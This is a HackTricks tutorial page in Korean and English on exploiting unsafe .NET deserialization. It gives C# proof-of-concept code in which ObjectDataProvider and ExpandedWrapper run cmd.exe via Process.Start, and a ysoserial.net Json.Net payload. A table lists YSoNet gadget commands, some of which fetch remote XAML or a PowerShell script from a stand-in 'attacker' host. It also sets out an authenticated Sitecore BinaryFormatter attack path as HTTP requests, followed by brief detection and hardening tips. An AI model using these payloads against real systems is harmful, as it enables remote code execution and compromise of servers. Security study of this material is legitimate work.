Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 글은 gadget ObjectDataProvider가 어떻게 악용되어 RCE를 얻는지Serialization 라이브러리인 Json.Net과 xmlSerializer가 해당 gadget과 함께 어떻게 남용될 수 있는지를 이해하는 데 집중합니다.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
네, 설명이 조금 애매하니 이 클래스에 무엇이 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑(wrap)**하고, _MethodParameters_를 사용해 임의의 파라미터를 설정할 수 있으며, 그 다음 MethodName을 사용해 임의의 객체의 임의의 함수를 임의의 파라미터로 호출할 수 있습니다.
따라서, 역직렬화되는 동안 그 임의의 object파라미터와 함께 함수실행하게 됩니다.

How is this possible

The System.Windows.Data namespace는 PresentationFramework.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF에 위치하며, ObjectDataProvider가 정의되고 구현된 곳입니다.

dnSpy를 사용하면 우리가 관심 있는 클래스의 코드살펴볼 수 있습니다. 아래 이미지에서는 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name의 코드를 보고 있습니다.

보시는 것처럼 MethodName이 설정되면 base.Refresh()가 호출됩니다. 이게 무엇을 하는지 살펴보겠습니다:

이제 this.BeginQuery()가 무엇을 하는지 계속 보겠습니다. BeginQueryObjectDataProvider에서 오버라이드되어 있으며 다음과 같은 동작을 합니다:

코드 끝부분에서 this.QueryWorke(null)를 호출하는 것을 볼 수 있습니다. 그 호출이 무엇을 실행하는지 보겠습니다:

이것이 QueryWorker 함수의 전체 코드는 아니지만 흥미로운 부분을 보여줍니다: 코드가 this.InvokeMethodOnInstance(out ex);를 호출하고 있으며, 이 라인이 설정된 메서드가 호출되는 부분입니다.

만약 단지 _MethodName_을 설정하는 것만으로 해당 메서드가 실행되는지를 확인하고 싶다면, 다음 코드를 실행해 볼 수 있습니다:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

참고: System.Windows.Data를 로드하려면 참조로 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll 를 추가해야 합니다.

ExpandedWrapper

이전 익스플로잇을 사용할 때, 일부 경우에는 객체ObjectDataProvider 인스턴스로 역직렬화될 수 있습니다 (예: DotNetNuke vuln에서 XmlSerializer를 사용해 객체가 GetType으로 역직렬화된 경우). 그러면 ObjectDataProvider 인스턴스에 래핑된 객체 타입(예: Process)에 대해 전혀 알 수 없습니다. DotNetNuke vuln에 대한 자세한 내용은 여기에서 확인할 수 있습니다.

이 클래스는 주어진 인스턴스에 캡슐화된 객체들의 객체 타입을 지정할 수 있도록 해줍니다. 따라서 이 클래스는 소스 객체 (ObjectDataProvider)를 새로운 객체 타입으로 캡슐화하고 우리가 필요한 속성(ObjectDataProvider.MethodNameObjectDataProvider.MethodParameters)을 제공하는 데 사용할 수 있습니다.
이전 예에서 제시한 경우에 매우 유용합니다. 왜냐하면 우리는 wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

다음 코드를 통해 이 래퍼를 확인할 수 있습니다:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

official web page에 따르면 이 라이브러리가 Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer를 가능하게 한다고 명시되어 있습니다. 따라서 우리가 deserialize the ObjectDataProvider gadget를 수행할 수 있다면, 단지 객체를 deserializing하는 것만으로 RCE를 유발할 수 있습니다.

Json.Net example

먼저 이 라이브러리를 사용해 객체를 serialize/deserialize하는 방법의 예를 보겠습니다:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net 악용

ysoserial.net을 사용하여 익스플로잇을 생성했다:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

이 코드에서는 test the exploit를 실행해 볼 수 있습니다. 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

고급 .NET Gadget Chains (YSoNet & ysoserial.net)

위에서 소개한 ObjectDataProvider + ExpandedWrapper 기법은 애플리케이션이 unsafe .NET deserialization을 수행할 때 악용될 수 있는 많은 가젯 체인 중 하나에 불과합니다. 최신 레드팀 도구인 YSoNet (및 구버전인 ysoserial.net)은 수십 개의 가젯과 직렬화 포맷에 대해 즉시 사용 가능한 악성 객체 그래프를 자동으로 생성합니다.

아래는 YSoNet에 포함된 가장 유용한 체인들을 간단히 정리한 참조입니다. 각 체인이 어떻게 동작하는지에 대한 간단한 설명과 페이로드를 생성하는 예제 명령도 함께 제공합니다.

Gadget Chain핵심 아이디어 / 프리미티브주요 SerializersYSoNet 한줄 명령
TypeConfuseDelegateDelegateSerializationHolder 레코드를 손상시켜 객체화될 때 delegate가 공격자가 제공한 임의의 메서드(예: Process.Start)를 가리키게 합니다BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorSystem.Workflow.ComponentModel.ActivitySurrogateSelector를 악용하여 .NET ≥4.8 타입 필터링을 우회하고 제공된 클래스의 constructor를 직접 호출하거나 C# 파일을 즉석에서 compile합니다BinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourSystem.Data.DataSet의 레거시 XML 표현을 이용해 <ColumnMapping> / <DataType> 필드를 채움으로써 임의 타입을 인스턴스화합니다(선택적으로 --spoofedAssembly로 어셈블리를 위조 가능)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsWPF가 활성화된 런타임(> .NET 5)에서 프로퍼티 getter를 연쇄 호출하여 System.CodeDom.Compiler.CompilerResults에 도달한 뒤, -c로 제공된 DLL을 compile하거나 load합니다Json.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)WPF System.Windows.Data.ObjectDataProvider를 사용해 제어된 인자로 임의의 static 메서드를 호출합니다. YSoNet은 악성 XAML을 원격 호스팅할 수 있는 편리한 --xamlurl 변형을 추가합니다BinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)PowerShell이 객체를 역직렬화할 때 실행되는 ScriptBlockSystem.Management.Automation.PSObject에 삽입합니다PowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

모든 페이로드는 stdout으로 기본 출력되므로 다른 도구(예: ViewState 생성기, base64 인코더, HTTP 클라이언트)로 파이프하는 것이 매우 간단합니다.

YSoNet 빌드 / 설치

Actions ➜ Artifacts / Releases에 사전 컴파일된 바이너리가 없는 경우, 다음 PowerShell 한줄 명령은 빌드 환경을 설정하고 리포지토리를 클론한 다음 Release 모드로 모든 것을 컴파일합니다:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

컴파일된 ysonet.exeysonet/bin/Release/에서 찾을 수 있습니다.

탐지 및 강화

  • Detect w3wp.exe, PowerShell.exe 또는 사용자로부터 제공된 데이터를 역직렬화하는 프로세스(예: MessagePack, Json.NET)의 예기치 않은 자식 프로세스를 탐지하세요.
  • 레거시 BinaryFormatter / NetDataContractSerializer를 제거할 수 없는 경우에는 항상 type-filtering을 활성화하고 적용하세요 (TypeFilterLevel = Full, 커스텀 SurrogateSelector, SerializationBinder, ).
  • 가능한 경우 whitelist 기반 컨버터를 사용하여 System.Text.Json 또는 **DataContractJsonSerializer**로 마이그레이션하세요.
  • 웹 프로세스에서 절대 필요하지 않은 경우 PresentationFramework, System.Workflow.* 같은 위험한 WPF 어셈블리가 로드되지 않도록 차단하세요.

실제 사례: Sitecore convertToRuntimeHtml → BinaryFormatter

인증된 Sitecore XP Content Editor 흐름에서 도달 가능한 실용적인 .NET sink:

  • Sink API: Sitecore.Convert.Base64ToObject(string)는 내부적으로 new BinaryFormatter().Deserialize(...)를 호출합니다.
  • Trigger path: 파이프라인 convertToRuntimeHtmlConvertWebControlsid="{iframeId}_inner"인 형제 요소를 찾아 value 속성을 읽는데, 이 값은 base64로 인코딩된 직렬화된 데이터로 취급됩니다. 결과는 문자열로 캐스팅되어 HTML에 삽입됩니다.

최소 엔드투엔드(인증됨):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: string을 반환하는 모든 BinaryFormatter 체인(부작용은 deserialization 동안 실행됩니다). YSoNet/ysoserial.net을 사용해 payloads를 생성하세요.

Sitecore에서 HTML cache poisoning으로 pre‑auth로 시작하여 이 sink로 이어지는 전체 체인:

Sitecore

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기